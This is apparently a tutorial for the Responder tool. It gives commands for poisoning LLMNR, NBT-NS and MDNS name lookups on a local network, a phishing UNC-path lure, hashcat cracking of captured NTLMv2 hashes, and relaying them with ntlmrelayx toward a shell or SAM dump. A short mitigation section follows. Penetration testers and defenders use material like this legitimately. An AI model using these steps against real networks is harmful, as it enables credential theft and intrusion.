Responder

BASIC USAGE

🔍 **Step 1: Identify the target network**

You need to be in the same subnet (layer 2) as the target devices — typically an internal corporate network or lab.

Run:

ip a

Find your IP and interface name (e.g., eth0, wlan0).

🚀 **Step 2: Start Responder**

sudo python3 Responder.py -I eth0

- -I eth0: Interface to listen on.
- It will start listening for LLMNR, NBT-NS, and MDNS requests.

CAPTURING HASHES

✅ **Prerequisites:**

Victims must:

- Be on the same subnet.
- Try to resolve a non-existent hostname.
- Be tricked into accessing a resource (e.g., \\fake-share).

💥 **Attack scenarios:**

A. User clicks on a malicious UNC path

Send a phishing message:

Check this out: \\FAKESHARE\docs

Victim tries to resolve FAKESHARE → Responder replies → victim sends credentials.

B. Misconfigured software tries to resolve a hostname

- Many programs try to resolve HOSTNAME.local or HOSTNAME → Responder poisons reply.

C. Trigger with tools

Use nbtscan, CrackMapExec, or msfconsole to provoke broadcasts.

ANALYZING CAPTURED HASHES

Responder saves hashes in:

Responder/logs/

Use **Hashcat** or **John the Ripper** to crack NTLM hashes.

Example with Hashcat:

hashcat -m 5600 responder_hash.txt rockyou.txt

- -m 5600: NTLMv2 mode.

RELAY ATTACK (Responder + ntlmrelayx)

Responder can **relay captured credentials** using ntlmrelayx (from Impacket).

Steps:

1. **Disable SMB server in Responder.conf:**

Edit:

Responder.conf

Set:

SMB = Off

HTTP = Off

2. **Start ntlmrelayx.py to target a specific host:**

sudo ntlmrelayx.py -t smb://<target-ip> -smb2support

3. **Run Responder normally:**

sudo python3 Responder.py -I eth0

When a user tries to authenticate, credentials are relayed to the target → you may get a shell or dump SAM hashes.

ADVANCED OPTIONS

Option	Description
-w	Enable WPAD rogue proxy server
-F	Fingerprint hostnames
-A	Analyze hostnames and determine best response
-v	Verbose mode

DETECTION & MITIGATION

✅ **Mitigations:**

- **Disable LLMNR and NBT-NS** via Group Policy:
    - GPO > Network Settings > Turn Off Multicast Name Resolution
- Use **SMB signing** to prevent relay.
- Apply **strong password policies** (resist cracking).
- Monitor networks for suspicious LLMNR traffic (via Wireshark or IDS).
- Use **Defender for Identity** or **Zeek** for traffic analysis.

🧠 **Summary**

Step	Action
1	Get on same LAN as victim
2	Start Responder
3	Trigger broadcast (or wait)
4	Capture hashes
5	Crack/relay hashes
6	Escalate or pivot